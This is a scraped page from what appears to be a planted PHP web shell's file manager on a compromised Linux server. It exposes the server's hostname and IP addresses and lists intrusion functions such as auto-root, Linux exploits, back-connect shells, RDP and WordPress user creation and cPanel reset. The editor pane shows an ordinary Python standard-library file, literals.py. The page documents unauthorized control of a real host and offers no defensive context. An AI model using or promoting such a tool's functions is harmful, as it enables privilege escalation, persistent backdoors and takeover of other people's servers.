Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.118.120.13
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
lib2to3 /
pgen2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
143
B
-rw-r--r--
__init__.pyc
174
B
-rw-r--r--
__init__.pyo
174
B
-rw-r--r--
conv.py
9.4
KB
-rw-r--r--
conv.pyc
8
KB
-rw-r--r--
conv.pyo
6.87
KB
-rw-r--r--
driver.py
5.04
KB
-rw-r--r--
driver.pyc
5.26
KB
-rw-r--r--
driver.pyo
5.2
KB
-rw-r--r--
grammar.py
5.24
KB
-rw-r--r--
grammar.pyc
5.87
KB
-rw-r--r--
grammar.pyo
5.87
KB
-rw-r--r--
literals.py
1.58
KB
-rw-r--r--
literals.pyc
1.97
KB
-rw-r--r--
literals.pyo
1.74
KB
-rw-r--r--
parse.py
7.86
KB
-rw-r--r--
parse.pyc
7.07
KB
-rw-r--r--
parse.pyo
7.03
KB
-rw-r--r--
pgen.py
13.46
KB
-rw-r--r--
pgen.pyc
11.89
KB
-rw-r--r--
pgen.pyo
11.3
KB
-rw-r--r--
token.py
1.21
KB
-rwxr-xr-x
token.pyc
2.22
KB
-rw-r--r--
token.pyo
2.22
KB
-rw-r--r--
tokenize.py
18.66
KB
-rw-r--r--
tokenize.pyc
16.46
KB
-rw-r--r--
tokenize.pyo
16.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : literals.py
# Copyright 2004-2005 Elemental Security, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Safely evaluate Python string literals without using eval().""" import re simple_escapes = {"a": "\a", "b": "\b", "f": "\f", "n": "\n", "r": "\r", "t": "\t", "v": "\v", "'": "'", '"': '"', "\\": "\\"} def escape(m): all, tail = m.group(0, 1) assert all.startswith("\\") esc = simple_escapes.get(tail) if esc is not None: return esc if tail.startswith("x"): hexes = tail[1:] if len(hexes) < 2: raise ValueError("invalid hex string escape ('\\%s')" % tail) try: i = int(hexes, 16) except ValueError: raise ValueError("invalid hex string escape ('\\%s')" % tail) else: try: i = int(tail, 8) except ValueError: raise ValueError("invalid octal string escape ('\\%s')" % tail) return chr(i) def evalString(s): assert s.startswith("'") or s.startswith('"'), repr(s[:1]) q = s[0] if s[:3] == q*3: q = q*3 assert s.endswith(q), repr(s[-len(q):]) assert len(s) >= 2*len(q) s = s[len(q):-len(q)] return re.sub(r"\\(\'|\"|\\|[abfnrtv]|x.{0,2}|[0-7]{1,3})", escape, s) def test(): for i in range(256): c = chr(i) s = repr(c) e = evalString(s) if e != c: print i, c, s, e if __name__ == "__main__": test()
Close